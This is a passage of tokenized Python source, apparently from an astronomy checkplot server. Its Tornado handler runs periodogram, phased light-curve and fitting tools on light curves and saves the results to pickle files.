tornado.web.Finish()<EOL><DEDENT><DEDENT><DEDENT>LOGGER.info(lctool)<EOL>LOGGER.info(lctoolargs)<EOL>LOGGER.info(lctoolkwargs)<EOL>resloc = CPTOOLMAP[lctool]['<STR_LIT>']<EOL>objectid = cpdict['<STR_LIT>']<EOL>if lctool in ('<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'):<EOL><INDENT>lspmethod = resloc[<NUM_LIT:0>]<EOL>if (lspmethod in tempcpdict and<EOL>isinstance(tempcpdict[lspmethod], dict) and<EOL>(not forcereload)):<EOL><INDENT>bestperiod = (<EOL>tempcpdict[lspmethod]['<STR_LIT>']<EOL>)<EOL>nbestperiods = (<EOL>tempcpdict[lspmethod]['<STR_LIT>']<EOL>)<EOL>nbestlspvals = (<EOL>tempcpdict[lspmethod]['<STR_LIT>']<EOL>)<EOL>periodogram = (<EOL>tempcpdict[lspmethod]['<STR_LIT>']<EOL>)<EOL>phasedlc0plot = (<EOL>tempcpdict[lspmethod][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL>phasedlc0period = float(<EOL>tempcpdict[lspmethod][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL>phasedlc0epoch = float(<EOL>tempcpdict[lspmethod][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL>LOGGER.warning(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(lctool, tempfpath)<EOL>)<EOL>resultdict['<STR_LIT:status>'] = '<STR_LIT>'<EOL>resultdict['<STR_LIT:message>'] = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>lctool<EOL>)<EOL>resultdict['<STR_LIT:result>'] = {<EOL>'<STR_LIT>':objectid,<EOL>lspmethod:{<EOL>'<STR_LIT>':nbestperiods,<EOL>'<STR_LIT>':periodogram,<EOL>'<STR_LIT>':bestperiod,<EOL>'<STR_LIT>':nbestlspvals,<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':phasedlc0plot,<EOL>'<STR_LIT>':phasedlc0period,<EOL>'<STR_LIT>':phasedlc0epoch,<EOL>}<EOL>}<EOL>}<EOL>self.write(resultdict)<EOL>self.finish()<EOL><DEDENT>else:<EOL><INDENT>if lctoolkwargs['<STR_LIT>'] is not None:<EOL><INDENT>wtimes, wmags, werrs = lcmath.sigclip_magseries(<EOL>lctoolargs[<NUM_LIT:0>],<EOL>lctoolargs[<NUM_LIT:1>],<EOL>lctoolargs[<NUM_LIT:2>],<EOL>sigclip=lctoolkwargs['<STR_LIT>'],<EOL>magsarefluxes=lctoolkwargs['<STR_LIT>']<EOL>)<EOL>lctoolargs[<NUM_LIT:0>] = wtimes<EOL>lctoolargs[<NUM_LIT:1>] = wmags<EOL>lctoolargs[<NUM_LIT:2>] = werrs<EOL><DEDENT>if lctoolkwargs['<STR_LIT>']:<EOL><INDENT>wtimes, wmags, werrs = (lctoolargs[<NUM_LIT:0>],<EOL>lctoolargs[<NUM_LIT:1>],<EOL>lctoolargs[<NUM_LIT:2>])<EOL>filtermasks = [<EOL>np.full_like(wtimes, False, dtype=np.bool_)<EOL>]<EOL>filterstr = lctoolkwargs['<STR_LIT>']<EOL>filters = filterstr.split('<STR_LIT:U+002C>')<EOL>filters = [<EOL>x.strip().lstrip('<STR_LIT:(>').rstrip('<STR_LIT:)>').strip()<EOL>for x in filters<EOL>]<EOL>for filt in filters:<EOL><INDENT>try:<EOL><INDENT>thisfilt = filt.split('<STR_LIT::>')<EOL>if len(thisfilt) == <NUM_LIT:2>:<EOL><INDENT>filt_lo = float(thisfilt[<NUM_LIT:0>])<EOL>filt_hi = float(thisfilt[<NUM_LIT:1>])<EOL>filtermasks.append(<EOL>((wtimes -<EOL>cptimes.min()) < filt_hi) &<EOL>((wtimes -<EOL>cptimes.min()) > filt_lo)<EOL>)<EOL><DEDENT>elif (len(thisfilt) == <NUM_LIT:3> and<EOL>thisfilt[<NUM_LIT:0>].strip() == '<STR_LIT>'):<EOL><INDENT>filt_lo = float(thisfilt[<NUM_LIT:1>])<EOL>filt_hi = float(thisfilt[<NUM_LIT:2>])<EOL>filtermasks.append(np.logical_not(<EOL>(((wtimes -<EOL>cptimes.min()) < filt_hi) &<EOL>((wtimes -<EOL>cptimes.min()) > filt_lo))<EOL>))<EOL><DEDENT>else:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>if len(filtermasks) > <NUM_LIT:0>:<EOL><INDENT>filterind = np.column_stack(filtermasks)<EOL>filterind = np.any(filterind, axis=<NUM_LIT:1>)<EOL>lctoolargs[<NUM_LIT:0>] = wtimes[filterind]<EOL>lctoolargs[<NUM_LIT:1>] = wmags[filterind]<EOL>lctoolargs[<NUM_LIT:2>] = werrs[filterind]<EOL><DEDENT><DEDENT>if lctoolkwargs['<STR_LIT>']:<EOL><INDENT>wtimes, wmags, werrs = (lctoolargs[<NUM_LIT:0>],<EOL>lctoolargs[<NUM_LIT:1>],<EOL>lctoolargs[<NUM_LIT:2>])<EOL>filtermasks = [<EOL>np.full_like(wtimes, False, dtype=np.bool_)<EOL>]<EOL>filterstr = lctoolkwargs['<STR_LIT>']<EOL>filters = filterstr.split('<STR_LIT:U+002C>')<EOL>filters = [<EOL>x.strip().strip()<EOL>for x in filters<EOL>]<EOL>for filt in filters:<EOL><INDENT>try:<EOL><INDENT>thisfilt = filt.split('<STR_LIT::>')<EOL>if len(thisfilt) == <NUM_LIT:2>:<EOL><INDENT>filt_lo = float(thisfilt[<NUM_LIT:0>])<EOL>filt_hi = float(thisfilt[<NUM_LIT:1>])<EOL>filtermasks.append(<EOL>(wmags < filt_hi) &<EOL>(wmags > filt_lo)<EOL>)<EOL><DEDENT>elif (len(thisfilt) == <NUM_LIT:3> and<EOL>thisfilt[<NUM_LIT:0>].strip() == '<STR_LIT>'):<EOL><INDENT>filt_lo = float(thisfilt[<NUM_LIT:1>])<EOL>filt_hi = float(thisfilt[<NUM_LIT:2>])<EOL>filtermasks.append(np.logical_not(<EOL>((wmags < filt_hi) &<EOL>(wmags > filt_lo))<EOL>))<EOL><DEDENT>else:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>if len(filtermasks) > <NUM_LIT:0>:<EOL><INDENT>filterind = np.column_stack(filtermasks)<EOL>filterind = np.any(filterind, axis=<NUM_LIT:1>)<EOL>lctoolargs[<NUM_LIT:0>] = wtimes[filterind]<EOL>lctoolargs[<NUM_LIT:1>] = wmags[filterind]<EOL>lctoolargs[<NUM_LIT:2>] = werrs[filterind]<EOL><DEDENT><DEDENT>del lctoolkwargs['<STR_LIT>']<EOL>del lctoolkwargs['<STR_LIT>']<EOL>lctoolfunction = CPTOOLMAP[lctool]['<STR_LIT>']<EOL>funcresults = yield self.executor.submit(<EOL>lctoolfunction,<EOL>*lctoolargs,<EOL>**lctoolkwargs<EOL>)<EOL>nbestperiods = funcresults['<STR_LIT>']<EOL>nbestlspvals = funcresults['<STR_LIT>']<EOL>bestperiod = funcresults['<STR_LIT>']<EOL>pgramres = yield self.executor.submit(<EOL>_pkl_periodogram,<EOL>funcresults,<EOL>)<EOL>phasedlcargs0 = (None,<EOL>lspmethod,<EOL>-<NUM_LIT:1>,<EOL>lctoolargs[<NUM_LIT:0>],<EOL>lctoolargs[<NUM_LIT:1>],<EOL>lctoolargs[<NUM_LIT:2>],<EOL>nbestperiods[<NUM_LIT:0>],<EOL>'<STR_LIT>')<EOL>if len(nbestperiods) > <NUM_LIT:1>:<EOL><INDENT>phasedlcargs1 = (None,<EOL>lspmethod,<EOL>-<NUM_LIT:1>,<EOL>lctoolargs[<NUM_LIT:0>],<EOL>lctoolargs[<NUM_LIT:1>],<EOL>lctoolargs[<NUM_LIT:2>],<EOL>nbestperiods[<NUM_LIT:1>],<EOL>'<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>phasedlcargs1 = None<EOL><DEDENT>if len(nbestperiods) > <NUM_LIT:2>:<EOL><INDENT>phasedlcargs2 = (None,<EOL>lspmethod,<EOL>-<NUM_LIT:1>,<EOL>lctoolargs[<NUM_LIT:0>],<EOL>lctoolargs[<NUM_LIT:1>],<EOL>lctoolargs[<NUM_LIT:2>],<EOL>nbestperiods[<NUM_LIT:2>],<EOL>'<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>phasedlcargs2 = None<EOL><DEDENT>phasedlckwargs = {<EOL>'<STR_LIT>':False,<EOL>'<STR_LIT>':lctoolkwargs['<STR_LIT>'],<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>}<EOL>phasedlc0 = yield self.executor.submit(<EOL>_pkl_phased_magseries_plot,<EOL>*phasedlcargs0,<EOL>**phasedlckwargs<EOL>)<EOL>if phasedlcargs1 is not None:<EOL><INDENT>phasedlc1 = yield self.executor.submit(<EOL>_pkl_phased_magseries_plot,<EOL>*phasedlcargs1,<EOL>**phasedlckwargs<EOL>)<EOL><DEDENT>else:<EOL><INDENT>phasedlc1 = None<EOL><DEDENT>if phasedlcargs2 is not None:<EOL><INDENT>phasedlc2 = yield self.executor.submit(<EOL>_pkl_phased_magseries_plot,<EOL>*phasedlcargs2,<EOL>**phasedlckwargs<EOL>)<EOL><DEDENT>else:<EOL><INDENT>phasedlc2 = None<EOL><DEDENT>if not self.readonly:<EOL><INDENT>tempcpdict[lspmethod] = {<EOL>'<STR_LIT>':funcresults['<STR_LIT>'],<EOL>'<STR_LIT>':funcresults['<STR_LIT>'],<EOL>'<STR_LIT>':funcresults['<STR_LIT>'],<EOL>'<STR_LIT>':funcresults['<STR_LIT>'],<EOL>'<STR_LIT>':funcresults['<STR_LIT>'],<EOL>'<STR_LIT>':(<EOL>pgramres[lspmethod]['<STR_LIT>']<EOL>),<EOL><NUM_LIT:0>:phasedlc0,<EOL>}<EOL>if phasedlc1 is not None:<EOL><INDENT>tempcpdict[lspmethod][<NUM_LIT:1>] = phasedlc1<EOL><DEDENT>if phasedlc2 is not None:<EOL><INDENT>tempcpdict[lspmethod][<NUM_LIT:2>] = phasedlc2<EOL><DEDENT>savekwargs = {<EOL>'<STR_LIT>':tempfpath,<EOL>'<STR_LIT>':pickle.HIGHEST_PROTOCOL<EOL>}<EOL>savedcpf = yield self.executor.submit(<EOL>_write_checkplot_picklefile,<EOL>tempcpdict,<EOL>**savekwargs<EOL>)<EOL>LOGGER.info(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(lctool, savedcpf)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>LOGGER.warning(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>periodogram = pgramres[lspmethod]['<STR_LIT>']<EOL>phasedlc0plot = phasedlc0['<STR_LIT>']<EOL>phasedlc0period = float(phasedlc0['<STR_LIT>'])<EOL>phasedlc0epoch = float(phasedlc0['<STR_LIT>'])<EOL>if phasedlc1 is not None:<EOL><INDENT>phasedlc1plot = phasedlc1['<STR_LIT>']<EOL>phasedlc1period = float(phasedlc1['<STR_LIT>'])<EOL>phasedlc1epoch = float(phasedlc1['<STR_LIT>'])<EOL><DEDENT>if phasedlc2 is not None:<EOL><INDENT>phasedlc2plot = phasedlc2['<STR_LIT>']<EOL>phasedlc2period = float(phasedlc2['<STR_LIT>'])<EOL>phasedlc2epoch = float(phasedlc2['<STR_LIT>'])<EOL><DEDENT>resultdict['<STR_LIT:status>'] = '<STR_LIT:success>'<EOL>resultdict['<STR_LIT:message>'] = (<EOL>'<STR_LIT>' %<EOL>lctool<EOL>)<EOL>resultdict['<STR_LIT:result>'] = {<EOL>'<STR_LIT>':objectid,<EOL>lspmethod:{<EOL>'<STR_LIT>':nbestperiods,<EOL>'<STR_LIT>':nbestlspvals,<EOL>'<STR_LIT>':periodogram,<EOL>'<STR_LIT>':bestperiod,<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':phasedlc0plot,<EOL>'<STR_LIT>':phasedlc0period,<EOL>'<STR_LIT>':phasedlc0epoch,<EOL>},<EOL>}<EOL>}<EOL>if phasedlc1 is not None:<EOL><INDENT>resultdict['<STR_LIT:result>'][lspmethod]['<STR_LIT>'] = {<EOL>'<STR_LIT>':phasedlc1plot,<EOL>'<STR_LIT>':phasedlc1period,<EOL>'<STR_LIT>':phasedlc1epoch,<EOL>}<EOL><DEDENT>if phasedlc2 is not None:<EOL><INDENT>resultdict['<STR_LIT:result>'][lspmethod]['<STR_LIT>'] = {<EOL>'<STR_LIT>':phasedlc2plot,<EOL>'<STR_LIT>':phasedlc2period,<EOL>'<STR_LIT>':phasedlc2epoch,<EOL>}<EOL><DEDENT>self.write(resultdict)<EOL>self.finish()<EOL><DEDENT><DEDENT>elif lctool == '<STR_LIT>':<EOL><INDENT>lspmethod = lctoolargs[<NUM_LIT:1>]<EOL>periodind = lctoolargs[<NUM_LIT:2>]<EOL>if (not forcereload and lspmethod in tempcpdict and<EOL>isinstance(tempcpdict[lspmethod], dict) and<EOL>periodind in tempcpdict[lspmethod] and<EOL>isinstance(tempcpdict[lspmethod][periodind], dict)):<EOL><INDENT>phasedlc = tempcpdict[lspmethod][periodind]<EOL>LOGGER.warning(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(lctool, tempfpath)<EOL>)<EOL>resultdict['<STR_LIT:status>'] = '<STR_LIT>'<EOL>resultdict['<STR_LIT:message>'] = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>lctool<EOL>)<EOL>retkey = '<STR_LIT>' % periodind<EOL>resultdict['<STR_LIT:result>'] = {<EOL>'<STR_LIT>':objectid,<EOL>lspmethod:{<EOL>retkey:phasedlc<EOL>}<EOL>}<EOL>self.write(resultdict)<EOL>self.finish()<EOL><DEDENT>else:<EOL><INDENT>lctoolkwargs['<STR_LIT>'] = '<STR_LIT>'<EOL>lctoolargs[<NUM_LIT:2>] = -<NUM_LIT:1><EOL>if lctoolkwargs['<STR_LIT>'] is not None:<EOL><INDENT>stimes, smags, serrs = lcmath.sigclip_magseries(<EOL>lctoolargs[<NUM_LIT:3>],<EOL>lctoolargs[<NUM_LIT:4>],<EOL>lctoolargs[<NUM_LIT:5>],<EOL>sigclip=lctoolkwargs['<STR_LIT>'],<EOL>magsarefluxes=lctoolkwargs['<STR_LIT>']<EOL>)<EOL><DEDENT>else:<EOL><INDENT>stimes, smags, serrs = (lctoolargs[<NUM_LIT:3>],<EOL>lctoolargs[<NUM_LIT:4>],<EOL>lctoolargs[<NUM_LIT:5>])<EOL><DEDENT>if lctoolkwargs['<STR_LIT>']:<EOL><INDENT>wtimes, wmags, werrs = stimes, smags, serrs<EOL>filtermasks = [<EOL>np.full_like(wtimes, False, dtype=np.bool_)<EOL>]<EOL>filterstr = lctoolkwargs['<STR_LIT>']<EOL>filters = filterstr.split('<STR_LIT:U+002C>')<EOL>filters = [<EOL>x.strip().lstrip('<STR_LIT:(>').rstrip('<STR_LIT:)>').strip()<EOL>for x in filters<EOL>]<EOL>for filt in filters:<EOL><INDENT>try:<EOL><INDENT>thisfilt = filt.split('<STR_LIT::>')<EOL>if len(thisfilt) == <NUM_LIT:2>:<EOL><INDENT>filt_lo = float(thisfilt[<NUM_LIT:0>])<EOL>filt_hi = float(thisfilt[<NUM_LIT:1>])<EOL>filtermasks.append(<EOL>((wtimes -<EOL>cptimes.min()) < filt_hi) &<EOL>((wtimes -<EOL>cptimes.min()) > filt_lo)<EOL>)<EOL><DEDENT>elif (len(thisfilt) == <NUM_LIT:3> and<EOL>thisfilt[<NUM_LIT:0>].strip() == '<STR_LIT>'):<EOL><INDENT>filt_lo = float(thisfilt[<NUM_LIT:1>])<EOL>filt_hi = float(thisfilt[<NUM_LIT:2>])<EOL>filtermasks.append(np.logical_not(<EOL>(((wtimes -<EOL>cptimes.min()) < filt_hi) &<EOL>((wtimes -<EOL>cptimes.min()) > filt_lo))<EOL>))<EOL><DEDENT>else:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>if len(filtermasks) > <NUM_LIT:0>:<EOL><INDENT>filterind = np.column_stack(filtermasks)<EOL>filterind = np.any(filterind, axis=<NUM_LIT:1>)<EOL>stimes = wtimes[filterind]<EOL>smags = wmags[filterind]<EOL>serrs = werrs[filterind]<EOL><DEDENT><DEDENT>if lctoolkwargs['<STR_LIT>']:<EOL><INDENT>wtimes, wmags, werrs = stimes, smags, serrs<EOL>filtermasks = [<EOL>np.full_like(wtimes, False, dtype=np.bool_)<EOL>]<EOL>filterstr = lctoolkwargs['<STR_LIT>']<EOL>filters = filterstr.split('<STR_LIT:U+002C>')<EOL>filters = [<EOL>x.strip().strip()<EOL>for x in filters<EOL>]<EOL>for filt in filters:<EOL><INDENT>try:<EOL><INDENT>thisfilt = filt.split('<STR_LIT::>')<EOL>if len(thisfilt) == <NUM_LIT:2>:<EOL><INDENT>filt_lo = float(thisfilt[<NUM_LIT:0>])<EOL>filt_hi = float(thisfilt[<NUM_LIT:1>])<EOL>filtermasks.append(<EOL>(wmags < filt_hi) &<EOL>(wmags > filt_lo)<EOL>)<EOL><DEDENT>elif (len(thisfilt) == <NUM_LIT:3> and<EOL>thisfilt[<NUM_LIT:0>].strip() == '<STR_LIT>'):<EOL><INDENT>filt_lo = float(thisfilt[<NUM_LIT:1>])<EOL>filt_hi = float(thisfilt[<NUM_LIT:2>])<EOL>filtermasks.append(np.logical_not(<EOL>((wmags < filt_hi) &<EOL>(wmags > filt_lo))<EOL>))<EOL><DEDENT>else:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>if len(filtermasks) > <NUM_LIT:0>:<EOL><INDENT>filterind = np.column_stack(filtermasks)<EOL>filterind = np.any(filterind, axis=<NUM_LIT:1>)<EOL>stimes = wtimes[filterind]<EOL>smags = wmags[filterind]<EOL>serrs = werrs[filterind]<EOL><DEDENT><DEDENT>del lctoolkwargs['<STR_LIT>']<EOL>del lctoolkwargs['<STR_LIT>']<EOL>if lctoolargs[-<NUM_LIT:1>] is None:<EOL><INDENT>LOGGER.warning(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL>try:<EOL><INDENT>spfit = lcfit.spline_fit_magseries(<EOL>stimes,         <EOL>smags,          <EOL>serrs,          <EOL>lctoolargs[<NUM_LIT:6>],  <EOL>magsarefluxes=lctoolkwargs['<STR_LIT>'],<EOL>sigclip=None,<EOL>verbose=True<EOL>)<EOL>lctoolargs[-<NUM_LIT:1>] = spfit['<STR_LIT>']['<STR_LIT>']<EOL>if len(spfit['<STR_LIT>']['<STR_LIT>']) != <NUM_LIT:1>:<EOL><INDENT>lctoolargs[-<NUM_LIT:1>] = (<EOL>spfit['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>]<EOL>)<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGGER.exception(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL>lctoolargs[-<NUM_LIT:1>] = np.min(stimes)<EOL><DEDENT><DEDENT>lctoolargs[<NUM_LIT:3>] = stimes<EOL>lctoolargs[<NUM_LIT:4>] = smags<EOL>lctoolargs[<NUM_LIT:5>] = serrs<EOL>del lctoolkwargs['<STR_LIT>']<EOL>lctoolfunction = CPTOOLMAP[lctool]['<STR_LIT>']<EOL>funcresults = yield self.executor.submit(<EOL>lctoolfunction,<EOL>*lctoolargs,<EOL>**lctoolkwargs<EOL>)<EOL>if not self.readonly:<EOL><INDENT>if (lspmethod in tempcpdict and<EOL>isinstance(tempcpdict[lspmethod], dict)):<EOL><INDENT>if periodind in tempcpdict[lspmethod]:<EOL><INDENT>tempcpdict[lspmethod][periodind] = (<EOL>funcresults<EOL>)<EOL><DEDENT>else:<EOL><INDENT>tempcpdict[lspmethod].update(<EOL>{periodind: funcresults}<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>tempcpdict[lspmethod] = {periodind: funcresults}<EOL><DEDENT>savekwargs = {<EOL>'<STR_LIT>':tempfpath,<EOL>'<STR_LIT>':pickle.HIGHEST_PROTOCOL<EOL>}<EOL>savedcpf = yield self.executor.submit(<EOL>_write_checkplot_picklefile,<EOL>tempcpdict,<EOL>**savekwargs<EOL>)<EOL>LOGGER.info(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(lctool, savedcpf)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>LOGGER.warning(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>resultdict['<STR_LIT:status>'] = '<STR_LIT:success>'<EOL>resultdict['<STR_LIT:message>'] = (<EOL>'<STR_LIT>' %<EOL>lctool<EOL>)<EOL>retkey = '<STR_LIT>' % periodind<EOL>resultdict['<STR_LIT:result>'] = {<EOL>'<STR_LIT>':objectid,<EOL>lspmethod:{<EOL>retkey:funcresults<EOL>}<EOL>}<EOL>self.write(resultdict)<EOL>self.finish()<EOL><DEDENT><DEDENT>elif lctool == '<STR_LIT>':<EOL><INDENT>if (not forcereload and<EOL>'<STR_LIT>' in tempcpdict and<EOL>isinstance(tempcpdict['<STR_LIT>'], dict) and<EOL>'<STR_LIT>' in tempcpdict['<STR_LIT>'] and<EOL>isinstance(tempcpdict['<STR_LIT>']['<STR_LIT>'], dict)):<EOL><INDENT>LOGGER.warning(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(lctool, tempfpath)<EOL>)<EOL>resultdict['<STR_LIT:status>'] = '<STR_LIT>'<EOL>resultdict['<STR_LIT:message>'] = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>lctool<EOL>)<EOL>resultdict['<STR_LIT:result>'] = {<EOL>'<STR_LIT>':objectid,<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': (<EOL>tempcpdict['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL>}<EOL>}<EOL>self.write(resultdict)<EOL>self.finish()<EOL><DEDENT>else:<EOL><INDENT>lctoolfunction = CPTOOLMAP[lctool]['<STR_LIT>']<EOL>funcresults = yield self.executor.submit(<EOL>lctoolfunction,<EOL>*lctoolargs,<EOL>**lctoolkwargs<EOL>)<EOL>if not self.readonly:<EOL><INDENT>if ('<STR_LIT>' in tempcpdict and<EOL>isinstance(tempcpdict['<STR_LIT>'], dict)):<EOL><INDENT>if '<STR_LIT>' in tempcpdict['<STR_LIT>']:<EOL><INDENT>tempcpdict['<STR_LIT>']['<STR_LIT>'] = (<EOL>funcresults<EOL>)<EOL><DEDENT>else:<EOL><INDENT>tempcpdict['<STR_LIT>'].update(<EOL>{'<STR_LIT>': funcresults}<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>tempcpdict['<STR_LIT>'] = {'<STR_LIT>':<EOL>funcresults}<EOL><DEDENT>savekwargs = {<EOL>'<STR_LIT>':tempfpath,<EOL>'<STR_LIT>':pickle.HIGHEST_PROTOCOL<EOL>}<EOL>savedcpf = yield self.executor.submit(<EOL>_write_checkplot_picklefile,<EOL>tempcpdict,<EOL>**savekwargs<EOL>)<EOL>LOGGER.info(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(lctool, savedcpf)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>LOGGER.warning(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>resultdict['<STR_LIT:status>'] = '<STR_LIT:success>'<EOL>resultdict['<STR_LIT:message>'] = (<EOL>'<STR_LIT>' %<EOL>lctool<EOL>)<EOL>resultdict['<STR_LIT:result>'] = {<EOL>'<STR_LIT>':objectid,<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':funcresults<EOL>}<EOL>}<EOL>self.write(resultdict)<EOL>self.finish()<EOL><DEDENT><DEDENT>elif lctool in ('<STR_LIT>','<STR_LIT>'):<EOL><INDENT>key1, key2 = resloc<EOL>if (not forcereload and<EOL>key1 in tempcpdict and<EOL>isinstance(tempcpdict[key1], dict) and<EOL>key2 in tempcpdict[key1] and<EOL>isinstance(tempcpdict[key1][key2], dict)):<EOL><INDENT>LOGGER.warning(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(lctool, tempfpath)<EOL>)<EOL>resultdict['<STR_LIT:status>'] = '<STR_LIT>'<EOL>resultdict['<STR_LIT:message>'] = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>lctool<EOL>)<EOL>resultdict['<STR_LIT:result>'] = {<EOL>'<STR_LIT>':objectid,<EOL>key1: {<EOL>key2: (<EOL>tempcpdict[key1][key2]<EOL>)<EOL>}<EOL>}<EOL>self.write(resultdict)<EOL>self.finish()<EOL><DEDENT>else:<EOL><INDENT>lctoolfunction = CPTOOLMAP[lctool]['<STR_LIT>']<EOL>lctoolkwargs['<STR_LIT>'] = StrIO()<EOL>funcresults = yield self.executor.submit(<EOL>lctoolfunction,<EOL>*lctoolargs,<EOL>**lctoolkwargs<EOL>)<EOL>fitfd = funcresults['<STR_LIT>']<EOL>fitfd.seek(<NUM_LIT:0>)<EOL>fitbin = fitfd.read()<EOL>fitb64 = base64.b64encode(fitbin)<EOL>fitfd.close()<EOL>funcresults['<STR_LIT>'] = fitb64<EOL>if not self.readonly:<EOL><INDENT>if (key1 in tempcpdict and<EOL>isinstance(tempcpdict[key1], dict)):<EOL><INDENT>if key2 in tempcpdict[key1]:<EOL><INDENT>tempcpdict[key1][key2] = (<EOL>funcresults<EOL>)<EOL><DEDENT>else:<EOL><INDENT>tempcpdict[key1].update(<EOL>{key2: funcresults}<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>tempcpdict[key1] = {key2: funcresults}<EOL><DEDENT>savekwargs = {<EOL>'<STR_LIT>':tempfpath,<EOL>'<STR_LIT>':pickle.HIGHEST_PROTOCOL<EOL>}<EOL>savedcpf = yield self.executor.submit(<EOL>_write_checkplot_picklefile,<EOL>tempcpdict,<EOL>**savekwargs<EOL>)<EOL>LOGGER.info(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(lctool, savedcpf)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>LOGGER.warning(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>fitreturndict = {'<STR_LIT>':fitb64}<EOL>resultdict['<STR_LIT:status>'] = '<STR_LIT:success>'<EOL>resultdict['<STR_LIT:message>'] = (<EOL>'<STR_LIT>' %<EOL>lctool<EOL>)<EOL>resultdict['<STR_LIT:result>'] = {<EOL>'<STR_LIT>':objectid,<EOL>key1:{<EOL>key2:fitreturndict<EOL>}<EOL>}<EOL>self.write(resultdict)<EOL>self.finish()<EOL><DEDENT><DEDENT>elif lctool in ('<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'):<EOL><INDENT>key1, key2 = resloc<EOL>if (not forcereload and<EOL>key1 in tempcpdict and<EOL>isinstance(tempcpdict[key1], dict) and<EOL>key2 in tempcpdict[key1] and<EOL>isinstance(tempcpdict[key1][key2], dict)):<EOL><INDENT>LOGGER.warning(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(lctool, tempfpath)<EOL>)<EOL>resultdict['<STR_LIT:status>'] = '<STR_LIT>'<EOL>resultdict['<STR_LIT:message>'] = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>lctool<EOL>)<EOL>phasedfitlc = tempcpdict[key1][key2]<EOL>fitresults = {<EOL>'<STR_LIT>':phasedfitlc['<STR_LIT>']['<STR_LIT>'],<EOL>'<STR_LIT>':phasedfitlc['<STR_LIT>']['<STR_LIT>'],<EOL>'<STR_LIT>':phasedfitlc['<STR_LIT>']['<STR_LIT>'],<EOL>'<STR_LIT>':phasedfitlc['<STR_LIT>'],<EOL>'<STR_LIT>':phasedfitlc['<STR_LIT>'],<EOL>'<STR_LIT>':phasedfitlc['<STR_LIT>'],<EOL>}<EOL>if ('<STR_LIT>' in phasedfitlc['<STR_LIT>']['<STR_LIT>'] and<EOL>phasedfitlc['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']<EOL>is not None):<EOL><INDENT>fitresults['<STR_LIT>'] = (<EOL>phasedfitlc['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL><DEDENT>resultdict['<STR_LIT:result>'] = {<EOL>'<STR_LIT>':objectid,<EOL>key1: {<EOL>key2: (<EOL>fitresults<EOL>)<EOL>}<EOL>}<EOL>self.write(resultdict)<EOL>self.finish()<EOL><DEDENT>else:<EOL><INDENT>lctoolfunction = CPTOOLMAP[lctool]['<STR_LIT>']<EOL>funcresults = yield self.executor.submit(<EOL>lctoolfunction,<EOL>*lctoolargs,<EOL>**lctoolkwargs<EOL>)<EOL>phasedlcargs = (None,<EOL>'<STR_LIT>',<EOL>-<NUM_LIT:1>,<EOL>cptimes,<EOL>cpmags,<EOL>cperrs,<EOL>lctoolargs[<NUM_LIT:3>],  <EOL>'<STR_LIT>')<EOL>phasedlckwargs = {<EOL>'<STR_LIT>':False,<EOL>'<STR_LIT>':lctoolkwargs['<STR_LIT>'],<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':funcresults<EOL>}<EOL>phasedlc = yield self.executor.submit(<EOL>_pkl_phased_magseries_plot,<EOL>*phasedlcargs,<EOL>**phasedlckwargs<EOL>)<EOL>if not self.readonly:<EOL><INDENT>if (key1 in tempcpdict 